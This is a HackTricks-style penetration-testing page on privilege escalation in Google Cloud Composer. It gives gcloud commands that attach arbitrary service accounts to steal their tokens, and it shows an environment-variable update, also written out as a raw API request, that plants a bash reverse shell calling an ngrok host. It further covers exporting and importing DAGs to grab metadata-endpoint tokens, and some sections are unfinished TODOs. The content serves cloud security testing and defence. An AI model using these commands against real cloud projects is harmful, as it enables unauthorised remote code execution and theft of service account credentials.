GCP - Composer Privesc

Support HackTricks

composer

More info in:

GCP - Composer Enum

composer.environments.create

It's possible to attach any service account to the newly create composer environment with that permission. Later you could execute code inside composer to steal the service account token.

gcloud composer environments create privesc-test \
  --project "${PROJECT_ID}" \
  --location europe-west1 \
  --service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"

More info about the exploitation here.

composer.environments.update

It's possible to update composer environment, for example, modifying env variables:

# Even if it says you don't have enough permissions the update happens
gcloud composer environments update \
    projects/<project-id>/locations/<location>/environments/<composer-env-name> \
    --update-env-variables="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/19990 0>&1' & #%s" \
    --location <location> \
    --project <project-id>

# Call the API endpoint directly
PATCH /v1/projects/<project-id>/locations/<location>/environments/<composer-env-name>?alt=json&updateMask=config.software_config.env_variables HTTP/2
Host: composer.googleapis.com
User-Agent: google-cloud-sdk gcloud/480.0.0 command/gcloud.composer.environments.update invocation-id/826970373cd441a8801d6a977deba693 environment/None environment-version/None client-os/MACOSX client-os-ver/23.4.0 client-pltf-arch/arm interactive/True from-script/False python/3.12.3 term/xterm-256color (Macintosh; Intel Mac OS X 23.4.0)
Accept-Encoding: gzip, deflate, br
Accept: application/json
Content-Length: 178
Content-Type: application/json
X-Goog-Api-Client: cred-type/sa
Authorization: Bearer [token]
X-Allowed-Locations: 0x0

{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}

TODO: Get RCE by adding new pypi packages to the environment

Download Dags

Check the source code of the dags being executed:

mkdir /tmp/dags
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags

Import Dags

Import Dags code to compromise the environment and be able to steal the token from the metadata endpoint:

# TODO: Create dag to get a rev shell
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/asd

Import Plugins

TODO: Check what is possible to compromise by uploading plugins

Import Data

TODO: Check what is possible to compromise by uploading data

Support HackTricks

Last updated